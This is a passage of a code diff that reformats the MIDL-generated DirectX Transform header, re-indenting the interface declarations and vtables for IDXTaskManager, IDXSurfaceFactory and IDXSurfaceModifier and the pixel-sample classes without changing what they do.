TaskInfo[ ], + /* [in] */ HANDLE Events[ ], + /* [out] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulNumTasks, + /* [in] */ ULONG ulWaitPeriod); + + HRESULT ( STDMETHODCALLTYPE *TerminateTasks )( + IDXTaskManager * This, + /* [in] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulCount, + /* [in] */ ULONG ulTimeOut); + + HRESULT ( STDMETHODCALLTYPE *TerminateRequest )( + IDXTaskManager * This, + /* [in] */ REFIID RequestID, + /* [in] */ ULONG ulTimeOut); + + END_INTERFACE +} IDXTaskManagerVtbl; + +interface IDXTaskManager +{ + CONST_VTBL struct IDXTaskManagerVtbl *lpVtbl; +}; - interface IDXTaskManager - { - CONST_VTBL struct IDXTaskManagerVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -1529,7 +1507,7 @@ EXTERN_C const IID IID_IDXTaskManager; -HRESULT STDMETHODCALLTYPE IDXTaskManager_QueryNumProcessors_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_QueryNumProcessors_Proxy( IDXTaskManager * This, /* [out] */ ULONG *pulNumProc); @@ -1541,7 +1519,7 @@ void __RPC_STUB IDXTaskManager_QueryNumProcessors_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTaskManager_SetThreadPoolSize_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_SetThreadPoolSize_Proxy( IDXTaskManager * This, /* [in] */ ULONG ulNumThreads); @@ -1553,7 +1531,7 @@ void __RPC_STUB IDXTaskManager_SetThreadPoolSize_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTaskManager_GetThreadPoolSize_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_GetThreadPoolSize_Proxy( IDXTaskManager * This, /* [out] */ ULONG *pulNumThreads); @@ -1565,7 +1543,7 @@ void __RPC_STUB IDXTaskManager_GetThreadPoolSize_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTaskManager_SetConcurrencyLimit_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_SetConcurrencyLimit_Proxy( IDXTaskManager * This, /* [in] */ ULONG ulNumThreads); @@ -1577,7 +1555,7 @@ void __RPC_STUB IDXTaskManager_SetConcurrencyLimit_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTaskManager_GetConcurrencyLimit_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_GetConcurrencyLimit_Proxy( IDXTaskManager * This, /* [out] */ ULONG *pulNumThreads); @@ -1589,7 +1567,7 @@ void __RPC_STUB IDXTaskManager_GetConcurrencyLimit_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTaskManager_ScheduleTasks_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_ScheduleTasks_Proxy( IDXTaskManager * This, /* [in] */ DXTMTASKINFO TaskInfo[ ], /* [in] */ HANDLE Events[ ], @@ -1605,7 +1583,7 @@ void __RPC_STUB IDXTaskManager_ScheduleTasks_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTaskManager_TerminateTasks_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_TerminateTasks_Proxy( IDXTaskManager * This, /* [in] */ DWORD TaskIDs[ ], /* [in] */ ULONG ulCount, @@ -1619,7 +1597,7 @@ void __RPC_STUB IDXTaskManager_TerminateTasks_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTaskManager_TerminateRequest_Proxy( +HRESULT STDMETHODCALLTYPE IDXTaskManager_TerminateRequest_Proxy( IDXTaskManager * This, /* [in] */ REFIID RequestID, /* [in] */ ULONG ulTimeOut); @@ -1637,7 +1615,7 @@ void __RPC_STUB IDXTaskManager_TerminateRequest_Stub( /* interface __MIDL_itf_dxtrans_0265 */ -/* [local] */ +/* [local] */ #ifdef __cplusplus ///////////////////////////////////////////////////// @@ -1661,9 +1639,18 @@ public: Red(red), Green(green), Blue(blue) {} - DXBASESAMPLE(const DWORD val) { *this = (*(DXBASESAMPLE *)&val); } - operator DWORD () const {return *((DWORD *)this); } - DWORD operator=(const DWORD val) { return *this = *((DXBASESAMPLE *)&val); } + DXBASESAMPLE(const DWORD val) + { + *this = (*(DXBASESAMPLE *)&val); + } + operator DWORD () const + { + return *((DWORD *)this); + } + DWORD operator=(const DWORD val) + { + return *this = *((DXBASESAMPLE *)&val); + } }; // DXBASESAMPLE ///////////////////////////////////////////////////// @@ -1673,10 +1660,19 @@ class DXSAMPLE : public DXBASESAMPLE public: DXSAMPLE() {} DXSAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : - DXBASESAMPLE(alpha, red, green, blue) {} - DXSAMPLE(const DWORD val) { *this = (*(DXSAMPLE *)&val); } - operator DWORD () const {return *((DWORD *)this); } - DWORD operator=(const DWORD val) { return *this = *((DXSAMPLE *)&val); } + DXBASESAMPLE(alpha, red, green, blue) {} + DXSAMPLE(const DWORD val) + { + *this = (*(DXSAMPLE *)&val); + } + operator DWORD () const + { + return *((DWORD *)this); + } + DWORD operator=(const DWORD val) + { + return *this = *((DXSAMPLE *)&val); + } operator DXPMSAMPLE() const; }; // DXSAMPLE @@ -1687,78 +1683,88 @@ class DXPMSAMPLE : public DXBASESAMPLE public: DXPMSAMPLE() {} DXPMSAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : - DXBASESAMPLE(alpha, red, green, blue) {} - DXPMSAMPLE(const DWORD val) { *this = (*(DXPMSAMPLE *)&val); } - operator DWORD () const {return *((DWORD *)this); } - DWORD operator=(const DWORD val) { return *this = *((DXPMSAMPLE *)&val); } + DXBASESAMPLE(alpha, red, green, blue) {} + DXPMSAMPLE(const DWORD val) + { + *this = (*(DXPMSAMPLE *)&val); + } + operator DWORD () const + { + return *((DWORD *)this); + } + DWORD operator=(const DWORD val) + { + return *this = *((DXPMSAMPLE *)&val); + } operator DXSAMPLE() const; }; // DXPMSAMPLE // // The following cast operators are to prevent a direct assignment of a DXSAMPLE to a DXPMSAMPLE // -inline DXSAMPLE::operator DXPMSAMPLE() const { return *((DXPMSAMPLE *)this); } -inline DXPMSAMPLE::operator DXSAMPLE() const { return *((DXSAMPLE *)this); } +inline DXSAMPLE::operator DXPMSAMPLE() const +{ + return *((DXPMSAMPLE *)this); +} +inline DXPMSAMPLE::operator DXSAMPLE() const +{ + return *((DXSAMPLE *)this); +} #else // !__cplusplus -typedef struct DXBASESAMPLE - { +typedef struct DXBASESAMPLE { BYTE Blue; BYTE Green; BYTE Red; BYTE Alpha; - } DXBASESAMPLE; +} DXBASESAMPLE; -typedef struct DXSAMPLE - { +typedef struct DXSAMPLE { BYTE Blue; BYTE Green; BYTE Red; BYTE Alpha; - } DXSAMPLE; +} DXSAMPLE; -typedef struct DXPMSAMPLE - { +typedef struct DXPMSAMPLE { BYTE Blue; BYTE Green; BYTE Red; BYTE Alpha; - } DXPMSAMPLE; +} DXPMSAMPLE; #endif // !__cplusplus -typedef -enum DXRUNTYPE - { DXRUNTYPE_CLEAR = 0, - DXRUNTYPE_OPAQUE = 1, - DXRUNTYPE_TRANS = 2, - DXRUNTYPE_UNKNOWN = 3 - } DXRUNTYPE; +typedef +enum DXRUNTYPE { + DXRUNTYPE_CLEAR = 0, + DXRUNTYPE_OPAQUE = 1, + DXRUNTYPE_TRANS = 2, + DXRUNTYPE_UNKNOWN = 3 +} DXRUNTYPE; #define DX_MAX_RUN_INFO_COUNT ( 128 ) // Ignore the definition used by MIDL for TLB generation #if 0 -typedef struct DXRUNINFO - { +typedef struct DXRUNINFO { ULONG Bitfields; - } DXRUNINFO; +} DXRUNINFO; #endif // 0 -typedef struct DXRUNINFO -{ +typedef struct DXRUNINFO { ULONG Type : 2; // Type ULONG Count : 30; // Number of samples in run } DXRUNINFO; -typedef -enum DXSFCREATE - { DXSF_FORMAT_IS_CLSID = 1L << 0, - DXSF_NO_LAZY_DDRAW_LOCK = 1L << 1 - } DXSFCREATE; +typedef +enum DXSFCREATE { + DXSF_FORMAT_IS_CLSID = 1L << 0, + DXSF_NO_LAZY_DDRAW_LOCK = 1L << 1 +} DXSFCREATE; -typedef -enum DXBLTOPTIONS - { DXBOF_DO_OVER = 1L << 0, - DXBOF_DITHER = 1L << 1 - } DXBLTOPTIONS; +typedef +enum DXBLTOPTIONS { + DXBOF_DO_OVER = 1L << 0, + DXBOF_DITHER = 1L << 1 +} DXBLTOPTIONS; @@ -1769,162 +1775,160 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0265_v0_0_s_ifspec; #define __IDXSurfaceFactory_INTERFACE_DEFINED__ /* interface IDXSurfaceFactory */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXSurfaceFactory; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("144946F5-C4D4-11d1-81D1-0000F87557DB") - IDXSurfaceFactory : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE CreateSurface( - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ const DXBNDS *pBounds, - /* [in] */ DWORD dwFlags, - /* [in] */ IUnknown *punkOuter, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE CreateFromDDSurface( - /* [in] */ IUnknown *pDDrawSurface, - /* [in] */ const GUID *pFormatID, - /* [in] */ DWORD dwFlags, - /* [in] */ IUnknown *punkOuter, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE LoadImage( - /* [in] */ const LPWSTR pszFileName, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE LoadImageFromStream( - /* [in] */ IStream *pStream, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE CopySurfaceToNewFormat( - /* [in] */ IDXSurface *pSrc, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pDestFormatID, - /* [out] */ IDXSurface **ppNewSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE CreateD3DRMTexture( - /* [in] */ IDXSurface *pSrc, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ IUnknown *pD3DRM3, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppTexture3) = 0; - - virtual HRESULT STDMETHODCALLTYPE BitBlt( - /* [in] */ IDXSurface *pDest, - /* [in] */ const DXVEC *pPlacement, - /* [in] */ IDXSurface *pSrc, - /* [in] */ const DXBNDS *pClipBounds, - /* [in] */ DWORD dwFlags) = 0; - - }; - + +MIDL_INTERFACE("144946F5-C4D4-11d1-81D1-0000F87557DB") +IDXSurfaceFactory : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE CreateSurface( + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE CreateFromDDSurface( + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE LoadImage( + /* [in] */ const LPWSTR pszFileName, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE LoadImageFromStream( + /* [in] */ IStream *pStream, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE CopySurfaceToNewFormat( + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pDestFormatID, + /* [out] */ IDXSurface **ppNewSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE CreateD3DRMTexture( + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ IUnknown *pD3DRM3, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppTexture3) = 0; + + virtual HRESULT STDMETHODCALLTYPE BitBlt( + /* [in] */ IDXSurface *pDest, + /* [in] */ const DXVEC *pPlacement, + /* [in] */ IDXSurface *pSrc, + /* [in] */ const DXBNDS *pClipBounds, + /* [in] */ DWORD dwFlags) = 0; + +}; + #else /* C style interface */ - typedef struct IDXSurfaceFactoryVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXSurfaceFactory * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXSurfaceFactory * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXSurfaceFactory * This); - - HRESULT ( STDMETHODCALLTYPE *CreateSurface )( - IDXSurfaceFactory * This, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ const DXBNDS *pBounds, - /* [in] */ DWORD dwFlags, - /* [in] */ IUnknown *punkOuter, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface); - - HRESULT ( STDMETHODCALLTYPE *CreateFromDDSurface )( - IDXSurfaceFactory * This, - /* [in] */ IUnknown *pDDrawSurface, - /* [in] */ const GUID *pFormatID, - /* [in] */ DWORD dwFlags, - /* [in] */ IUnknown *punkOuter, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface); - - HRESULT ( STDMETHODCALLTYPE *LoadImage )( - IDXSurfaceFactory * This, - /* [in] */ const LPWSTR pszFileName, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface); - - HRESULT ( STDMETHODCALLTYPE *LoadImageFromStream )( - IDXSurfaceFactory * This, - /* [in] */ IStream *pStream, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pFormatID, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppDXSurface); - - HRESULT ( STDMETHODCALLTYPE *CopySurfaceToNewFormat )( - IDXSurfaceFactory * This, - /* [in] */ IDXSurface *pSrc, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, - /* [in] */ const GUID *pDestFormatID, - /* [out] */ IDXSurface **ppNewSurface); - - HRESULT ( STDMETHODCALLTYPE *CreateD3DRMTexture )( - IDXSurfaceFactory * This, - /* [in] */ IDXSurface *pSrc, - /* [in] */ IUnknown *pDirectDraw, - /* [in] */ IUnknown *pD3DRM3, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppTexture3); - - HRESULT ( STDMETHODCALLTYPE *BitBlt )( - IDXSurfaceFactory * This, - /* [in] */ IDXSurface *pDest, - /* [in] */ const DXVEC *pPlacement, - /* [in] */ IDXSurface *pSrc, - /* [in] */ const DXBNDS *pClipBounds, - /* [in] */ DWORD dwFlags); - - END_INTERFACE - } IDXSurfaceFactoryVtbl; +typedef struct IDXSurfaceFactoryVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfaceFactory * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfaceFactory * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfaceFactory * This); + + HRESULT ( STDMETHODCALLTYPE *CreateSurface )( + IDXSurfaceFactory * This, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ const DXBNDS *pBounds, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *CreateFromDDSurface )( + IDXSurfaceFactory * This, + /* [in] */ IUnknown *pDDrawSurface, + /* [in] */ const GUID *pFormatID, + /* [in] */ DWORD dwFlags, + /* [in] */ IUnknown *punkOuter, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *LoadImage )( + IDXSurfaceFactory * This, + /* [in] */ const LPWSTR pszFileName, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *LoadImageFromStream )( + IDXSurfaceFactory * This, + /* [in] */ IStream *pStream, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pFormatID, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppDXSurface); + + HRESULT ( STDMETHODCALLTYPE *CopySurfaceToNewFormat )( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, + /* [in] */ const GUID *pDestFormatID, + /* [out] */ IDXSurface **ppNewSurface); + + HRESULT ( STDMETHODCALLTYPE *CreateD3DRMTexture )( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pSrc, + /* [in] */ IUnknown *pDirectDraw, + /* [in] */ IUnknown *pD3DRM3, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppTexture3); + + HRESULT ( STDMETHODCALLTYPE *BitBlt )( + IDXSurfaceFactory * This, + /* [in] */ IDXSurface *pDest, + /* [in] */ const DXVEC *pPlacement, + /* [in] */ IDXSurface *pSrc, + /* [in] */ const DXBNDS *pClipBounds, + /* [in] */ DWORD dwFlags); + + END_INTERFACE +} IDXSurfaceFactoryVtbl; + +interface IDXSurfaceFactory +{ + CONST_VTBL struct IDXSurfaceFactoryVtbl *lpVtbl; +}; - interface IDXSurfaceFactory - { - CONST_VTBL struct IDXSurfaceFactoryVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -1967,7 +1971,7 @@ EXTERN_C const IID IID_IDXSurfaceFactory; -HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateSurface_Proxy( IDXSurfaceFactory * This, /* [in] */ IUnknown *pDirectDraw, /* [in] */ const DDSURFACEDESC *pDDSurfaceDesc, @@ -1986,7 +1990,7 @@ void __RPC_STUB IDXSurfaceFactory_CreateSurface_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateFromDDSurface_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateFromDDSurface_Proxy( IDXSurfaceFactory * This, /* [in] */ IUnknown *pDDrawSurface, /* [in] */ const GUID *pFormatID, @@ -2003,7 +2007,7 @@ void __RPC_STUB IDXSurfaceFactory_CreateFromDDSurface_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_LoadImage_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_LoadImage_Proxy( IDXSurfaceFactory * This, /* [in] */ const LPWSTR pszFileName, /* [in] */ IUnknown *pDirectDraw, @@ -2020,7 +2024,7 @@ void __RPC_STUB IDXSurfaceFactory_LoadImage_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_LoadImageFromStream_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_LoadImageFromStream_Proxy( IDXSurfaceFactory * This, /* [in] */ IStream *pStream, /* [in] */ IUnknown *pDirectDraw, @@ -2037,7 +2041,7 @@ void __RPC_STUB IDXSurfaceFactory_LoadImageFromStream_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CopySurfaceToNewFormat_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CopySurfaceToNewFormat_Proxy( IDXSurfaceFactory * This, /* [in] */ IDXSurface *pSrc, /* [in] */ IUnknown *pDirectDraw, @@ -2053,7 +2057,7 @@ void __RPC_STUB IDXSurfaceFactory_CopySurfaceToNewFormat_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateD3DRMTexture_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_CreateD3DRMTexture_Proxy( IDXSurfaceFactory * This, /* [in] */ IDXSurface *pSrc, /* [in] */ IUnknown *pDirectDraw, @@ -2069,7 +2073,7 @@ void __RPC_STUB IDXSurfaceFactory_CreateD3DRMTexture_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_BitBlt_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfaceFactory_BitBlt_Proxy( IDXSurfaceFactory * This, /* [in] */ IDXSurface *pDest, /* [in] */ const DXVEC *pPlacement, @@ -2090,14 +2094,14 @@ void __RPC_STUB IDXSurfaceFactory_BitBlt_Stub( /* interface __MIDL_itf_dxtrans_0266 */ -/* [local] */ +/* [local] */ -typedef -enum DXSURFMODCOMPOP - { DXSURFMOD_COMP_OVER = 0, - DXSURFMOD_COMP_ALPHA_MASK = 1, - DXSURFMOD_COMP_MAX_VALID = 1 - } DXSURFMODCOMPOP; +typedef +enum DXSURFMODCOMPOP { + DXSURFMOD_COMP_OVER = 0, + DXSURFMOD_COMP_ALPHA_MASK = 1, + DXSURFMOD_COMP_MAX_VALID = 1 +} DXSURFMODCOMPOP; @@ -2108,144 +2112,142 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0266_v0_0_s_ifspec; #define __IDXSurfaceModifier_INTERFACE_DEFINED__ /* interface IDXSurfaceModifier */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXSurfaceModifier; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("9EA3B637-C37D-11d1-905E-00C04FD9189D") - IDXSurfaceModifier : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE SetFillColor( - /* [in] */ DXSAMPLE Color) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetFillColor( - /* [out] */ DXSAMPLE *pColor) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetBounds( - /* [in] */ const DXBNDS *pBounds) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetBackground( - /* [in] */ IDXSurface *pSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetBackground( - /* [out] */ IDXSurface **ppSurface) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetCompositeOperation( - /* [in] */ DXSURFMODCOMPOP CompOp) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetCompositeOperation( - /* [out] */ DXSURFMODCOMPOP *pCompOp) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetForeground( - /* [in] */ IDXSurface *pSurface, - /* [in] */ BOOL bTile, - /* [in] */ const POINT *pOrigin) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetForeground( - /* [out] */ IDXSurface **ppSurface, - /* [out] */ BOOL *pbTile, - /* [out] */ POINT *pOrigin) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetOpacity( - /* [in] */ float Opacity) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetOpacity( - /* [out] */ float *pOpacity) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetLookup( - /* [in] */ IDXLookupTable *pLookupTable) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetLookup( - /* [out] */ IDXLookupTable **ppLookupTable) = 0; - - }; - + +MIDL_INTERFACE("9EA3B637-C37D-11d1-905E-00C04FD9189D") +IDXSurfaceModifier : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE SetFillColor( + /* [in] */ DXSAMPLE Color) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetFillColor( + /* [out] */ DXSAMPLE *pColor) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetBounds( + /* [in] */ const DXBNDS *pBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetBackground( + /* [in] */ IDXSurface *pSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetBackground( + /* [out] */ IDXSurface **ppSurface) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetCompositeOperation( + /* [in] */ DXSURFMODCOMPOP CompOp) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetCompositeOperation( + /* [out] */ DXSURFMODCOMPOP *pCompOp) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetForeground( + /* [in] */ IDXSurface *pSurface, + /* [in] */ BOOL bTile, + /* [in] */ const POINT *pOrigin) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetForeground( + /* [out] */ IDXSurface **ppSurface, + /* [out] */ BOOL *pbTile, + /* [out] */ POINT *pOrigin) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetOpacity( + /* [in] */ float Opacity) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetOpacity( + /* [out] */ float *pOpacity) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetLookup( + /* [in] */ IDXLookupTable *pLookupTable) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetLookup( + /* [out] */ IDXLookupTable **ppLookupTable) = 0; + +}; + #else /* C style interface */ - typedef struct IDXSurfaceModifierVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXSurfaceModifier * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXSurfaceModifier * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXSurfaceModifier * This); - - HRESULT ( STDMETHODCALLTYPE *SetFillColor )( - IDXSurfaceModifier * This, - /* [in] */ DXSAMPLE Color); - - HRESULT ( STDMETHODCALLTYPE *GetFillColor )( - IDXSurfaceModifier * This, - /* [out] */ DXSAMPLE *pColor); - - HRESULT ( STDMETHODCALLTYPE *SetBounds )( - IDXSurfaceModifier * This, - /* [in] */ const DXBNDS *pBounds); - - HRESULT ( STDMETHODCALLTYPE *SetBackground )( - IDXSurfaceModifier * This, - /* [in] */ IDXSurface *pSurface); - - HRESULT ( STDMETHODCALLTYPE *GetBackground )( - IDXSurfaceModifier * This, - /* [out] */ IDXSurface **ppSurface); - - HRESULT ( STDMETHODCALLTYPE *SetCompositeOperation )( - IDXSurfaceModifier * This, - /* [in] */ DXSURFMODCOMPOP CompOp); - - HRESULT ( STDMETHODCALLTYPE *GetCompositeOperation )( - IDXSurfaceModifier * This, - /* [out] */ DXSURFMODCOMPOP *pCompOp); - - HRESULT ( STDMETHODCALLTYPE *SetForeground )( - IDXSurfaceModifier * This, - /* [in] */ IDXSurface *pSurface, - /* [in] */ BOOL bTile, - /* [in] */ const POINT *pOrigin); - - HRESULT ( STDMETHODCALLTYPE *GetForeground )( - IDXSurfaceModifier * This, - /* [out] */ IDXSurface **ppSurface, - /* [out] */ BOOL *pbTile, - /* [out] */ POINT *pOrigin); - - HRESULT ( STDMETHODCALLTYPE *SetOpacity )( - IDXSurfaceModifier * This, - /* [in] */ float Opacity); - - HRESULT ( STDMETHODCALLTYPE *GetOpacity )( - IDXSurfaceModifier * This, - /* [out] */ float *pOpacity); - - HRESULT ( STDMETHODCALLTYPE *SetLookup )( - IDXSurfaceModifier * This, - /* [in] */ IDXLookupTable *pLookupTable); - - HRESULT ( STDMETHODCALLTYPE *GetLookup )( - IDXSurfaceModifier * This, - /* [out] */ IDXLookupTable **ppLookupTable); - - END_INTERFACE - } IDXSurfaceModifierVtbl; +typedef struct IDXSurfaceModifierVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfaceModifier * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfaceModifier * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfaceModifier * This); + + HRESULT ( 